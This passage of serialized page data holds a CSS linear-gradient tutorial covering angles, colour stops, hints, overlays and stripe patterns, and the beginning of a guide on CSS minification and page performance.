axis.",[135,68411,68413],{"className":1554,"code":68412,"language":1556,"meta":141,"style":141},"\u002F* Default: top to bottom *\u002F\nbackground: linear-gradient(#3B82F6, #8B5CF6);\n\n\u002F* Explicit direction *\u002F\nbackground: linear-gradient(to right, #3B82F6, #8B5CF6);\n",[143,68414,68415,68420,68432,68436,68441],{"__ignoreMap":141},[1560,68416,68417],{"class":1562,"line":1563},[1560,68418,68419],{"class":1649},"\u002F* Default: top to bottom *\u002F\n",[1560,68421,68422,68424,68426,68428,68430],{"class":1562,"line":337},[1560,68423,59738],{"class":1570},[1560,68425,2260],{"class":5159},[1560,68427,1459],{"class":1570},[1560,68429,55458],{"class":5159},[1560,68431,1744],{"class":1570},[1560,68433,68434],{"class":1562,"line":343},[1560,68435,1702],{"emptyLinePlaceholder":363},[1560,68437,68438],{"class":1562,"line":365},[1560,68439,68440],{"class":1649},"\u002F* Explicit direction *\u002F\n",[1560,68442,68443,68445,68447,68449,68451],{"class":1562,"line":889},[1560,68444,59695],{"class":1570},[1560,68446,2260],{"class":5159},[1560,68448,1459],{"class":1570},[1560,68450,55458],{"class":5159},[1560,68452,1744],{"class":1570},[11,68454,59750],{"id":59749},[16,68456,68457],{},"You can specify direction in two ways — keyword or angle.",[33,68459,68461],{"id":68460},"direction-keywords","Direction Keywords",[193,68463,68464,68473],{},[196,68465,68466],{},[199,68467,68468,68470],{},[202,68469,59759],{},[202,68471,68472],{},"Gradient Flows",[211,68474,68475,68484,68493,68502,68511,68520],{},[199,68476,68477,68481],{},[216,68478,68479],{},[143,68480,59771],{},[216,68482,68483],{},"Bottom → Top",[199,68485,68486,68490],{},[216,68487,68488],{},[143,68489,59780],{},[216,68491,68492],{},"Left → Right",[199,68494,68495,68499],{},[216,68496,68497],{},[143,68498,59790],{},[216,68500,68501],{},"Top → Bottom (default)",[199,68503,68504,68508],{},[216,68505,68506],{},[143,68507,59800],{},[216,68509,68510],{},"Right → Left",[199,68512,68513,68517],{},[216,68514,68515],{},[143,68516,59810],{},[216,68518,68519],{},"Bottom-left → Top-right",[199,68521,68522,68527],{},[216,68523,68524],{},[143,68525,68526],{},"to bottom left",[216,68528,68529],{},"Top-right → Bottom-left",[16,68531,68532],{},"Keywords are readable and cover the basics. But they limit you to 45-degree increments.",[33,68534,68536],{"id":68535},"degree-angles","Degree Angles",[16,68538,68539],{},"Angles give you full 360-degree control. Think of the gradient line as a compass:",[41,68541,68542,68547,68552,68557],{},[44,68543,68544,68546],{},[143,68545,52877],{}," — bottom to top",[44,68548,68549,68551],{},[143,68550,59783],{}," — left to right",[44,68553,68554,68556],{},[143,68555,44251],{}," — top to bottom",[44,68558,68559,68561],{},[143,68560,59803],{}," — right to left",[135,68563,68565],{"className":1554,"code":68564,"language":1556,"meta":141,"style":141},"\u002F* Diagonal — precise control *\u002F\nbackground: linear-gradient(137deg, #3B82F6, #8B5CF6);\n",[143,68566,68567,68572],{"__ignoreMap":141},[1560,68568,68569],{"class":1562,"line":1563},[1560,68570,68571],{"class":1649},"\u002F* Diagonal — precise control *\u002F\n",[1560,68573,68574,68577,68579,68581,68583],{"class":1562,"line":337},[1560,68575,68576],{"class":1570},"background: linear-gradient(137deg, ",[1560,68578,2260],{"class":5159},[1560,68580,1459],{"class":1570},[1560,68582,55458],{"class":5159},[1560,68584,1744],{"class":1570},[16,68586,68587,68588,68590],{},"The angle rotates the gradient line clockwise. When you need a direction between keyword increments — like ",[143,68589,59819],{}," — only the angle syntax works.",[33,68592,68594],{"id":68593},"which-should-you-use","Which Should You Use?",[193,68596,68597,68606],{},[196,68598,68599],{},[199,68600,68601,68603],{},[202,68602,21080],{},[202,68604,68605],{},"Best Choice",[211,68607,68608,68620,68629,68639],{},[199,68609,68610,68613],{},[216,68611,68612],{},"Vertical or horizontal gradients",[216,68614,68615,68616,1459,68618,1525],{},"Keywords (",[143,68617,59780],{},[143,68619,59790],{},[199,68621,68622,68625],{},[216,68623,68624],{},"Diagonal gradients along cardinals",[216,68626,68615,68627,1525],{},[143,68628,59810],{},[199,68630,68631,68634],{},[216,68632,68633],{},"Fine-tuned diagonal angles",[216,68635,68636,68637,1525],{},"Degrees (",[143,68638,59819],{},[199,68640,68641,68644],{},[216,68642,68643],{},"Animated gradient rotation",[216,68645,68646],{},"Degrees (easier with CSS custom properties)",[11,68648,59824],{"id":59823},[16,68650,68651],{},"Add more than two colors to create rich, layered backgrounds.",[135,68653,68655],{"className":1554,"code":68654,"language":1556,"meta":141,"style":141},"\u002F* Three stops — evenly spaced *\u002F\nbackground: linear-gradient(to right, #EF4444, #F59E0B, #10B981);\n\n\u002F* Four stops with positions *\u002F\nbackground: linear-gradient(\n  to right,\n  #3B82F6 0%,\n  #8B5CF6 33%,\n  #EC4899 66%,\n  #F43F5E 100%\n);\n",[143,68656,68657,68662,68678,68682,68687,68691,68696,68703,68710,68718,68726],{"__ignoreMap":141},[1560,68658,68659],{"class":1562,"line":1563},[1560,68660,68661],{"class":1649},"\u002F* Three stops — evenly spaced *\u002F\n",[1560,68663,68664,68666,68668,68670,68672,68674,68676],{"class":1562,"line":337},[1560,68665,59695],{"class":1570},[1560,68667,54526],{"class":1566},[1560,68669,1459],{"class":1570},[1560,68671,30753],{"class":1566},[1560,68673,1459],{"class":1570},[1560,68675,18255],{"class":5159},[1560,68677,1744],{"class":1570},[1560,68679,68680],{"class":1562,"line":343},[1560,68681,1702],{"emptyLinePlaceholder":363},[1560,68683,68684],{"class":1562,"line":365},[1560,68685,68686],{"class":1649},"\u002F* Four stops with positions *\u002F\n",[1560,68688,68689],{"class":1562,"line":889},[1560,68690,56679],{"class":1570},[1560,68692,68693],{"class":1562,"line":1710},[1560,68694,68695],{"class":1570},"  to right,\n",[1560,68697,68698,68700],{"class":1562,"line":1717},[1560,68699,60208],{"class":5159},[1560,68701,68702],{"class":1570}," 0%,\n",[1560,68704,68705,68707],{"class":1562,"line":1747},[1560,68706,60378],{"class":5159},[1560,68708,68709],{"class":1570}," 33%,\n",[1560,68711,68712,68715],{"class":1562,"line":2507},[1560,68713,68714],{"class":1566},"  #EC4899",[1560,68716,68717],{"class":1570}," 66%,\n",[1560,68719,68720,68723],{"class":1562,"line":2524},[1560,68721,68722],{"class":1566},"  #F43F5E",[1560,68724,68725],{"class":1570}," 100%\n",[1560,68727,68728],{"class":1562,"line":2529},[1560,68729,1744],{"class":1570},[33,68731,68733],{"id":68732},"position-rules","Position Rules",[41,68735,68736,68739,68749,68752],{},[44,68737,68738],{},"If you skip positions, the browser distributes stops evenly",[44,68740,68741,68742,1459,68744,1459,68746,68748],{},"You can use ",[143,68743,17990],{},[143,68745,1670],{},[143,68747,7310],{},", or any CSS length unit",[44,68750,68751],{},"Positions can go in any order — the browser sorts them",[44,68753,68754],{},"Two stops at the same position create a hard edge",[135,68756,68758],{"className":1554,"code":68757,"language":1556,"meta":141,"style":141},"\u002F* Hard edge transition *\u002F\nbackground: linear-gradient(to right, #3B82F6 50%, #8B5CF6 50%);\n",[143,68759,68760,68765],{"__ignoreMap":141},[1560,68761,68762],{"class":1562,"line":1563},[1560,68763,68764],{"class":1649},"\u002F* Hard edge transition *\u002F\n",[1560,68766,68767,68769,68771,68773,68775],{"class":1562,"line":337},[1560,68768,59695],{"class":1570},[1560,68770,2260],{"class":5159},[1560,68772,59880],{"class":1570},[1560,68774,55458],{"class":5159},[1560,68776,68777],{"class":1570}," 50%);\n",[16,68779,68780],{},"Hard-edge stops are the building block for stripe and checkerboard patterns.",[11,68782,68784],{"id":68783},"color-hints-midpoints","Color Hints (Midpoints)",[16,68786,68787,68788,68791],{},"By default, the browser places the midpoint of a transition exactly halfway between two stops. A ",[47,68789,68790],{},"color hint"," lets you shift that midpoint.",[135,68793,68795],{"className":1554,"code":68794,"language":1556,"meta":141,"style":141},"\u002F* Normal — midpoint at 50% *\u002F\nbackground: linear-gradient(to right, #3B82F6, #8B5CF6);\n\n\u002F* Shifted midpoint — transition happens sooner *\u002F\nbackground: linear-gradient(to right, #3B82F6, 25%, #8B5CF6);\n",[143,68796,68797,68802,68814,68818,68823],{"__ignoreMap":141},[1560,68798,68799],{"class":1562,"line":1563},[1560,68800,68801],{"class":1649},"\u002F* Normal — midpoint at 50% *\u002F\n",[1560,68803,68804,68806,68808,68810,68812],{"class":1562,"line":337},[1560,68805,59695],{"class":1570},[1560,68807,2260],{"class":5159},[1560,68809,1459],{"class":1570},[1560,68811,55458],{"class":5159},[1560,68813,1744],{"class":1570},[1560,68815,68816],{"class":1562,"line":343},[1560,68817,1702],{"emptyLinePlaceholder":363},[1560,68819,68820],{"class":1562,"line":365},[1560,68821,68822],{"class":1649},"\u002F* Shifted midpoint — transition happens sooner *\u002F\n",[1560,68824,68825,68827,68829,68832,68834],{"class":1562,"line":889},[1560,68826,59695],{"class":1570},[1560,68828,2260],{"class":5159},[1560,68830,68831],{"class":1570},", 25%, ",[1560,68833,55458],{"class":5159},[1560,68835,1744],{"class":1570},[16,68837,421,68838,68840],{},[143,68839,21008],{}," is the color hint. It tells the browser \"the 50% blend of these two colors should appear at 25% of the gradient.\" This creates a faster initial transition and a slower tail.",[16,68842,68843],{},"Color hints are subtle but powerful. They let you control the perceived weight of each color in the gradient.",[11,68845,60300],{"id":60299},[16,68847,68848,68849,68851],{},"Combine solid colors with ",[143,68850,47251],{}," or alpha-channel colors for fade effects.",[135,68853,68855],{"className":1554,"code":68854,"language":1556,"meta":141,"style":141},"\u002F* Fade out at the bottom *\u002F\nbackground: linear-gradient(to bottom, rgba(59, 130, 246, 0.9), transparent);\n\n\u002F* Modern syntax with slash alpha *\u002F\nbackground: linear-gradient(to bottom, rgb(59 130 246 \u002F 0.9), transparent);\n",[143,68856,68857,68862,68871,68875,68880],{"__ignoreMap":141},[1560,68858,68859],{"class":1562,"line":1563},[1560,68860,68861],{"class":1649},"\u002F* Fade out at the bottom *\u002F\n",[1560,68863,68864,68866,68869],{"class":1562,"line":337},[1560,68865,60320],{"class":1570},[1560,68867,68868],{"class":1566},".9",[1560,68870,60325],{"class":1570},[1560,68872,68873],{"class":1562,"line":343},[1560,68874,1702],{"emptyLinePlaceholder":363},[1560,68876,68877],{"class":1562,"line":365},[1560,68878,68879],{"class":1649},"\u002F* Modern syntax with slash alpha *\u002F\n",[1560,68881,68882,68885,68887],{"class":1562,"line":889},[1560,68883,68884],{"class":1570},"background: linear-gradient(to bottom, rgb(59 130 246 \u002F 0",[1560,68886,68868],{"class":1566},[1560,68888,60325],{"class":1570},[16,68890,68891],{},"Use transparency gradients when you need an overlay that gradually reveals or hides content — hero images, image captions, or loading shimmer effects.",[11,68893,68895],{"id":68894},"gradient-over-background-images","Gradient Over Background Images",[16,68897,68898,68899,68901],{},"You can layer a gradient on top of a background image using multiple ",[143,68900,11362],{}," values.",[135,68903,68905],{"className":1554,"code":68904,"language":1556,"meta":141,"style":141},".hero {\n  background:\n    linear-gradient(to bottom, transparent 40%, rgba(0, 0, 0, 0.7)),\n    url('\u002Fimages\u002Fhero.jpg');\n  background-size: cover;\n  background-position: center;\n}\n",[143,68906,68907,68913,68919,68961,68973,68984,68994],{"__ignoreMap":141},[1560,68908,68909,68911],{"class":1562,"line":1563},[1560,68910,32789],{"class":1566},[1560,68912,1571],{"class":1570},[1560,68914,68915,68917],{"class":1562,"line":337},[1560,68916,5665],{"class":1576},[1560,68918,19182],{"class":1570},[1560,68920,68921,68923,68925,68928,68930,68932,68934,68936,68938,68940,68942,68944,68946,68948,68950,68952,68954,68956,68958],{"class":1562,"line":343},[1560,68922,47262],{"class":1576},[1560,68924,1688],{"class":1570},[1560,68926,68927],{"class":1669},"to",[1560,68929,56363],{"class":1576},[1560,68931,1459],{"class":1570},[1560,68933,47251],{"class":1576},[1560,68935,18343],{"class":1576},[1560,68937,17990],{"class":1669},[1560,68939,1459],{"class":1570},[1560,68941,5670],{"class":1576},[1560,68943,1688],{"class":1570},[1560,68945,5285],{"class":1576},[1560,68947,1459],{"class":1570},[1560,68949,5285],{"class":1576},[1560,68951,1459],{"class":1570},[1560,68953,5285],{"class":1576},[1560,68955,1459],{"class":1570},[1560,68957,60725],{"class":1576},[1560,68959,68960],{"class":1570},")),\n",[1560,68962,68963,68966,68968,68971],{"class":1562,"line":365},[1560,68964,68965],{"class":1576},"    url",[1560,68967,1688],{"class":1570},[1560,68969,68970],{"class":5634},"'\u002Fimages\u002Fhero.jpg'",[1560,68972,1744],{"class":1570},[1560,68974,68975,68978,68980,68982],{"class":1562,"line":889},[1560,68976,68977],{"class":1576},"  background-size",[1560,68979,1663],{"class":1570},[1560,68981,46801],{"class":1576},[1560,68983,2228],{"class":1570},[1560,68985,68986,68988,68990,68992],{"class":1562,"line":1710},[1560,68987,52009],{"class":1576},[1560,68989,1663],{"class":1570},[1560,68991,32199],{"class":1576},[1560,68993,2228],{"class":1570},[1560,68995,68996],{"class":1562,"line":1717},[1560,68997,1585],{"class":1570},[16,68999,69000,69001,468],{},"The gradient sits on top because it comes first in the comma-separated list. This technique keeps text readable over complex images without a separate overlay ",[143,69002,69003],{},"\u003Cdiv>",[11,69005,69007],{"id":69006},"stripe-patterns-with-repeating-gradients","Stripe Patterns with Repeating Gradients",[16,69009,69010,69012],{},[143,69011,60764],{}," tiles the gradient infinitely. Combined with hard-edge stops, it creates stripe and pattern backgrounds.",[33,69014,69016],{"id":69015},"horizontal-stripes","Horizontal Stripes",[135,69018,69020],{"className":1554,"code":69019,"language":1556,"meta":141,"style":141},"background: repeating-linear-gradient(\n  0deg,\n  #3B82F6 0px,\n  #3B82F6 4px,\n  transparent 4px,\n  transparent 8px\n);\n",[143,69021,69022,69026,69031,69037,69044,69049,69054],{"__ignoreMap":141},[1560,69023,69024],{"class":1562,"line":1563},[1560,69025,60354],{"class":1570},[1560,69027,69028],{"class":1562,"line":337},[1560,69029,69030],{"class":1570},"  0deg,\n",[1560,69032,69033,69035],{"class":1562,"line":343},[1560,69034,60208],{"class":5159},[1560,69036,60366],{"class":1570},[1560,69038,69039,69041],{"class":1562,"line":365},[1560,69040,60208],{"class":5159},[1560,69042,69043],{"class":1570}," 4px,\n",[1560,69045,69046],{"class":1562,"line":889},[1560,69047,69048],{"class":1570},"  transparent 4px,\n",[1560,69050,69051],{"class":1562,"line":1710},[1560,69052,69053],{"class":1570},"  transparent 8px\n",[1560,69055,69056],{"class":1562,"line":1717},[1560,69057,1744],{"class":1570},[33,69059,69061],{"id":69060},"diagonal-stripes","Diagonal Stripes",[135,69063,69065],{"className":1554,"code":69064,"language":1556,"meta":141,"style":141},"background: repeating-linear-gradient(\n  45deg,\n  #3B82F6 0px,\n  #3B82F6 10px,\n  #1E3A5F 10px,\n  #1E3A5F 20px\n);\n",[143,69066,69067,69071,69075,69081,69087,69093,69099],{"__ignoreMap":141},[1560,69068,69069],{"class":1562,"line":1563},[1560,69070,60354],{"class":1570},[1560,69072,69073],{"class":1562,"line":337},[1560,69074,60359],{"class":1570},[1560,69076,69077,69079],{"class":1562,"line":343},[1560,69078,60208],{"class":5159},[1560,69080,60366],{"class":1570},[1560,69082,69083,69085],{"class":1562,"line":365},[1560,69084,60208],{"class":5159},[1560,69086,60373],{"class":1570},[1560,69088,69089,69091],{"class":1562,"line":889},[1560,69090,60429],{"class":5159},[1560,69092,60373],{"class":1570},[1560,69094,69095,69097],{"class":1562,"line":1710},[1560,69096,60429],{"class":5159},[1560,69098,60387],{"class":1570},[1560,69100,69101],{"class":1562,"line":1717},[1560,69102,1744],{"class":1570},[33,69104,69106],{"id":69105},"checkerboard","Checkerboard",[135,69108,69110],{"className":1554,"code":69109,"language":1556,"meta":141,"style":141},"background:\n  repeating-linear-gradient(\n    45deg,\n    rgba(0, 0, 0, 0.1) 0px,\n    rgba(0, 0, 0, 0.1) 2px,\n    transparent 2px,\n    transparent 8px\n  ),\n  repeating-linear-gradient(\n    -45deg,\n    rgba(0, 0, 0, 0.1) 0px,\n    rgba(0, 0, 0, 0.1) 2px,\n    transparent 2px,\n    transparent 8px\n  );\n",[143,69111,69112,69116,69121,69126,69136,69145,69150,69155,69159,69163,69168,69176,69184,69188,69192],{"__ignoreMap":141},[1560,69113,69114],{"class":1562,"line":1563},[1560,69115,56586],{"class":1570},[1560,69117,69118],{"class":1562,"line":337},[1560,69119,69120],{"class":1570},"  repeating-linear-gradient(\n",[1560,69122,69123],{"class":1562,"line":343},[1560,69124,69125],{"class":1570},"    45deg,\n",[1560,69127,69128,69131,69133],{"class":1562,"line":365},[1560,69129,69130],{"class":1570},"    rgba(0, 0, 0, 0",[1560,69132,56442],{"class":1566},[1560,69134,69135],{"class":1570},") 0px,\n",[1560,69137,69138,69140,69142],{"class":1562,"line":889},[1560,69139,69130],{"class":1570},[1560,69141,56442],{"class":1566},[1560,69143,69144],{"class":1570},") 2px,\n",[1560,69146,69147],{"class":1562,"line":1710},[1560,69148,69149],{"class":1570},"    transparent 2px,\n",[1560,69151,69152],{"class":1562,"line":1717},[1560,69153,69154],{"class":1570},"    transparent 8px\n",[1560,69156,69157],{"class":1562,"line":1747},[1560,69158,60596],{"class":1570},[1560,69160,69161],{"class":1562,"line":2507},[1560,69162,69120],{"class":1570},[1560,69164,69165],{"class":1562,"line":2524},[1560,69166,69167],{"class":1570},"    -45deg,\n",[1560,69169,69170,69172,69174],{"class":1562,"line":2529},[1560,69171,69130],{"class":1570},[1560,69173,56442],{"class":1566},[1560,69175,69135],{"class":1570},[1560,69177,69178,69180,69182],{"class":1562,"line":2534},[1560,69179,69130],{"class":1570},[1560,69181,56442],{"class":1566},[1560,69183,69144],{"class":1570},[1560,69185,69186],{"class":1562,"line":2542},[1560,69187,69149],{"class":1570},[1560,69189,69190],{"class":1562,"line":2558},[1560,69191,69154],{"class":1570},[1560,69193,69194],{"class":1562,"line":2570},[1560,69195,36075],{"class":1570},[16,69197,69198],{},"Layer two repeating gradients at opposite angles to build a checkerboard. Each gradient contributes one set of diagonal stripes — together they form a grid.",[11,69200,69202],{"id":69201},"debugging-tips","Debugging Tips",[16,69204,69205],{},"Gradients can look wrong for subtle reasons. Here is a quick checklist:",[193,69207,69208,69216],{},[196,69209,69210],{},[199,69211,69212,69214],{},[202,69213,27730],{},[202,69215,3690],{},[211,69217,69218,69226,69234,69245,69257],{},[199,69219,69220,69223],{},[216,69221,69222],{},"Colors look muddy in the middle",[216,69224,69225],{},"Use color hints or add an extra stop at the midpoint",[199,69227,69228,69231],{},[216,69229,69230],{},"Gradient appears banded on large areas",[216,69232,69233],{},"Add a tiny amount of noise via a pseudo-element, or use more stops",[199,69235,69236,69239],{},[216,69237,69238],{},"Angle seems off",[216,69240,69241,69242,69244],{},"Remember: ",[143,69243,52877],{}," is bottom-to-top, not top-to-bottom",[199,69246,69247,69250],{},[216,69248,69249],{},"Gradient repeats unexpectedly",[216,69251,69252,69253,55616,69255],{},"You used ",[143,69254,60764],{},[143,69256,46356],{},[199,69258,69259,69262],{},[216,69260,69261],{},"Transparent stop looks gray",[216,69263,1388,69264,1531,69266,69269,69270,35196,69272,69274],{},[143,69265,5140],{},[143,69267,69268],{},"rgb(\u002Falpha)"," syntax — ",[143,69271,47251],{},[143,69273,52239],{}," and may darken intermediate stops",[33,69276,4443],{"id":69277},"browser-devtools",[16,69279,69280],{},"Chrome and Firefox DevTools let you edit gradients visually. Click the gradient swatch next to the CSS value to open a picker where you adjust angles and stops in real time.",[11,69282,1355],{"id":1354},[41,69284,69285,69288,69291,69294,69297,69302],{},[44,69286,69287],{},"Use degree angles when keywords are not precise enough",[44,69289,69290],{},"Multi-stop gradients with explicit positions give you full layout control",[44,69292,69293],{},"Color hints shift the midpoint of a transition for weighted color distribution",[44,69295,69296],{},"Transparency gradients create overlays and fade effects without extra markup",[44,69298,69299,69301],{},[143,69300,60764],{}," with hard-edge stops produces stripes and patterns",[44,69303,69304],{},"Always test gradients against both light and dark backgrounds",[11,69306,286],{"id":285},[16,69308,69309,69310,69312,69313,69315],{},"Experiment with angles, directions, and color stops in our ",[98,69311,18583],{"href":18582},". Need to convert colors for your stops? Use the ",[98,69314,18588],{"href":18587}," to switch between HEX, RGB, and HSL.",[11,69317,321],{"id":320},[41,69319,69320,69325],{},[44,69321,69322,69324],{},[98,69323,56827],{"href":56826}," — Overview of all gradient types including radial and conic",[44,69326,69327,69329],{},[98,69328,49355],{"href":49354}," — Combine gradients with shadows and color theory for polished interfaces",[2043,69331,69332],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":69334},[69335,69336,69337,69342,69345,69346,69347,69348,69353,69356,69357,69358],{"id":68382,"depth":337,"text":68383},{"id":60968,"depth":337,"text":60969},{"id":59749,"depth":337,"text":59750,"children":69338},[69339,69340,69341],{"id":68460,"depth":343,"text":68461},{"id":68535,"depth":343,"text":68536},{"id":68593,"depth":343,"text":68594},{"id":59823,"depth":337,"text":59824,"children":69343},[69344],{"id":68732,"depth":343,"text":68733},{"id":68783,"depth":337,"text":68784},{"id":60299,"depth":337,"text":60300},{"id":68894,"depth":337,"text":68895},{"id":69006,"depth":337,"text":69007,"children":69349},[69350,69351,69352],{"id":69015,"depth":343,"text":69016},{"id":69060,"depth":343,"text":69061},{"id":69105,"depth":343,"text":69106},{"id":69201,"depth":337,"text":69202,"children":69354},[69355],{"id":69277,"depth":343,"text":4443},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Deep dive into CSS linear gradients — control angles, directions, multi-stop gradients, and create polished UI backgrounds.",{"immutable":363},{"title":68377,"description":69359},"guides\u002Fcss-linear-gradient-tutorial","E2r3vNQCj_F9pOOsPQ2ddO65cw65vqisKYGNWQLF-UA",{"id":69365,"title":50511,"body":69366,"date":2070,"description":69789,"extension":361,"meta":69790,"navigation":363,"path":21350,"readingTime":1710,"seo":69791,"stem":69792,"__hash__":69793},"guides\u002Fguides\u002Fcss-minification-guide.md",{"type":8,"value":69367,"toc":69773},[69368,69372,69375,69378,69382,69385,69388,69418,69421,69425,69428,69483,69486,69490,69493,69499,69538,69541,69544,69548,69551,69554,69574,69577,69581,69584,69588,69643,69647,69650,69656,69659,69661,69699,69701,69727,69729,69746,69748,69754,69756],[11,69369,69371],{"id":69370},"what-is-css-minification","What Is CSS Minification?",[16,69373,69374],{},"CSS minification removes unnecessary characters from your stylesheets without changing how they work. It strips comments, whitespace, line breaks, and redundant code to produce a smaller file.",[16,69376,69377],{},"The result? Browsers download and parse your CSS faster, which means your pages render sooner.",[11,69379,69381],{"id":69380},"why-css-file-size-matters","Why CSS File Size Matters",[16,69383,69384],{},"Every byte of CSS blocks rendering. Unlike images that load asynchronously, browsers must download and process all CSS before they can paint anything on screen.",[16,69386,69387],{},"A typical unminified stylesheet contains:",[41,69389,69390,69395,69401,69412],{},[44,69391,69392,69394],{},[47,69393,36954],{}," explaining design decisions",[44,69396,69397,69400],{},[47,69398,69399],{},"Whitespace"," for readability (indentation, blank lines)",[44,69402,69403,69406,69407,55616,69410],{},[47,69404,69405],{},"Redundant values"," like ",[143,69408,69409],{},"0px",[143,69411,5285],{},[44,69413,69414,69417],{},[47,69415,69416],{},"Duplicate rules"," scattered across files",[16,69419,69420],{},"These additions help developers but cost users real loading time. Minification typically reduces CSS file size by 20–40%.",[11,69422,69424],{"id":69423},"css-minification-and-core-web-vitals","CSS Minification and Core Web Vitals",[16,69426,69427],{},"Google's Core Web Vitals directly measure user experience. CSS minification impacts two of the three metrics:",[193,69429,69430,69441],{},[196,69431,69432],{},[199,69433,69434,69436,69438],{},[202,69435,15609],{},[202,69437,54155],{},[202,69439,69440],{},"How Minification Helps",[211,69442,69443,69456,69470],{},[199,69444,69445,69450,69453],{},[216,69446,69447,69449],{},[47,69448,54175],{}," (Largest Contentful Paint)",[216,69451,69452],{},"Load time of main content",[216,69454,69455],{},"Smaller CSS = faster download = sooner the browser renders above-the-fold content",[199,69457,69458,69464,69467],{},[216,69459,69460,69463],{},[47,69461,69462],{},"FID"," (First Input Delay)",[216,69465,69466],{},"Time to first interaction",[216,69468,69469],{},"Less CSS parsing = main thread freed sooner for user interactions",[199,69471,69472,69477,69480],{},[216,69473,69474,69476],{},[47,69475,54196],{}," (Cumulative Layout Shift)",[216,69478,69479],{},"Visual stability",[216,69481,69482],{},"Indirect — faster CSS delivery reduces layout shift from late-loading styles",[16,69484,69485],{},"Even a 50 KB reduction in CSS can shave 100–200 ms off LCP on a 3G connection. For sites competing for search rankings, that margin matters.",[11,69487,69489],{"id":69488},"minification-vs-gzip-compression","Minification vs Gzip Compression",[16,69491,69492],{},"A common question: if my server already uses gzip, do I still need to minify?",[16,69494,69495,69498],{},[47,69496,69497],{},"Yes."," They serve different purposes and work best together.",[193,69500,69501,69511],{},[196,69502,69503],{},[199,69504,69505,69507,69509],{},[202,69506,52178],{},[202,69508,922],{},[202,69510,20364],{},[211,69512,69513,69525],{},[199,69514,69515,69520,69523],{},[216,69516,69517],{},[47,69518,69519],{},"Minification",[216,69521,69522],{},"Removes unnecessary characters from source",[216,69524,21790],{},[199,69526,69527,69532,69535],{},[216,69528,69529],{},[47,69530,69531],{},"Gzip\u002FBrotli",[216,69533,69534],{},"Compresses the file during transfer",[216,69536,69537],{},"60–80%",[16,69539,69540],{},"Minification happens first — it produces a smaller file. Gzip then compresses that smaller file for network transfer. A minified + gzipped CSS file is significantly smaller than an unminified + gzipped one.",[16,69542,69543],{},"The reason is simple: gzip works by finding repeated patterns. Comments, indentation, and verbose property names introduce repetitions that gzip can compress, but the raw characters still exist in the decompressed file. Minification eliminates them at the source.",[11,69545,69547],{"id":69546},"minification-in-the-http2-era","Minification in the HTTP\u002F2 Era",[16,69549,69550],{},"HTTP\u002F2 introduced multiplexing, which lets browsers download multiple files over a single connection. Some developers argue this makes bundling and minification less important.",[16,69552,69553],{},"The reality is more nuanced:",[41,69555,69556,69562,69568],{},[44,69557,69558,69561],{},[47,69559,69560],{},"Fewer, larger files"," still transfer faster than many small ones due to per-file overhead (headers, parsing costs)",[44,69563,69564,69567],{},[47,69565,69566],{},"CSS parsing is single-threaded"," — the browser still processes rules sequentially regardless of how it received them",[44,69569,69570,69573],{},[47,69571,69572],{},"Cache efficiency"," improves with bundled, minified files since fewer requests means fewer cache validations",[16,69575,69576],{},"HTTP\u002F2 reduces the penalty for multiple files, but it doesn't eliminate the benefit of minification. You still want the smallest possible CSS reaching your users.",[11,69578,69580],{"id":69579},"when-to-minify","When to Minify",[16,69582,69583],{},"Minification belongs in your build pipeline, not in your editor. You should always work with readable, well-commented CSS during development.",[33,69585,69587],{"id":69586},"development-vs-production","Development vs Production",[193,69589,69590,69602],{},[196,69591,69592],{},[199,69593,69594,69597,69600],{},[202,69595,69596],{},"Environment",[202,69598,69599],{},"CSS State",[202,69601,21086],{},[211,69603,69604,69617,69630],{},[199,69605,69606,69611,69614],{},[216,69607,69608],{},[47,69609,69610],{},"Development",[216,69612,69613],{},"Unminified, with sourcemaps",[216,69615,69616],{},"Debugging, readability, collaboration",[199,69618,69619,69624,69627],{},[216,69620,69621],{},[47,69622,69623],{},"Staging",[216,69625,69626],{},"Minified, with sourcemaps",[216,69628,69629],{},"Testing production-like output while retaining debug info",[199,69631,69632,69637,69640],{},[216,69633,69634],{},[47,69635,69636],{},"Production",[216,69638,69639],{},"Minified, no sourcemaps",[216,69641,69642],{},"Smallest file size, no source exposure",[33,69644,69646],{"id":69645},"build-time-minification","Build-Time Minification",[16,69648,69649],{},"Most modern toolchains handle minification automatically at build time:",[135,69651,69654],{"className":69652,"code":69653,"language":140},[138],"Source CSS → Preprocessor (Sass\u002FLess) → PostCSS (autoprefixer) → Minifier → Output\n",[143,69655,69653],{"__ignoreMap":141},[16,69657,69658],{},"This pipeline ensures you always develop with readable code while shipping optimized files.",[11,69660,35318],{"id":35317},[41,69662,69663,69669,69675,69681,69687,69693],{},[44,69664,69665,69668],{},[47,69666,69667],{},"Never edit minified CSS directly."," Always modify the source and rebuild.",[44,69670,69671,69674],{},[47,69672,69673],{},"Use sourcemaps in development."," They map minified output back to original source lines for debugging.",[44,69676,69677,69680],{},[47,69678,69679],{},"Automate minification."," Manual processes get forgotten. Integrate it into your CI\u002FCD 